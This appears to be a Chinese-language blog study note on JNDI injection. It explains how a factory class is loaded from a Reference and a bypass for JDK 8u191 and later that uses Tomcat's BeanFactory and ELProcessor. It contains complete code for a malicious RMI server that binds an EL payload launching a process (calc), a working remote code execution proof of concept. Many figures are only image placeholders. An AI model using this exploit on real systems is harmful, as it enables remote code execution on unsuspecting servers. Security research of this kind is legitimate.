原理:

image-20220125151525134

InitialContext

image-20220125151517007

image-20220125151600295 image-20220125151734380 image-20220125151823314

这里的var3就是获取到的Reference对象

image-20220123220532678

getObjectFactoryFromReference

image-20220128120007346

JNDI的跟进lookup逻辑进行调试,如上图,找到对Reference的处理逻辑,其中动态加载并实例化Factory类,调用了factory.getObjectInstance()方法,获取外部远程对象实例。

攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果

Bypass

利用受害者本地CLASSPATH中的类

JDK版本:1.8.0_191以上

image-20220128115601351

这里要让if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase

这个判断结果为否,这里如果构造factoryLocation==null,则可以通过,但是在后面的

image-20220128132721989

判断中无法进行loadClass加载我们的远程类。

所以我们的思路就变成了加载一个目标机器classpath中存在的类,然后将其实例化,调用其getObjectInstance方法时实现代码执行。

这个类首先要实现ObjectFactory接口,并且其getObjectInstance方法实现中有可以被用来构造exp的逻辑。

Veracode的博客中使用了org.apache.naming.factory.BeanFactory类,Tomcat容器本身是被广泛使用的,所以可利用性还是很强的。

恶意server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String[] args) throws Exception{

System.out.println("Creating evil RMI registry on port 9527");
LocateRegistry.createRegistry(9527);

ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
Naming.bind("rmi://192.168.43.1:9527/object", referenceWrapper);
System.out.println("RMI服务启动成功,服务地址:" + "rmi://192.168.43.1:9527/object");

}

调用链:

image-20220129161623770

在最后的getObjectInstance方法中

image-20220129161853025

通过反射执行我们指定的之前构造的方法

这种利用方式构造的beanClass是javax.el.ELProcessorELProcessor中有个eval(String)方法可以执行EL表达式,javax.el.ELProcessor是Tomcat8中的库,所以仅限Tomcat8及更高版本环境下可以通过该库进行攻击。

利用LDAP返回序列化数据,触发本地Gadget绕过高版本限制

以后再写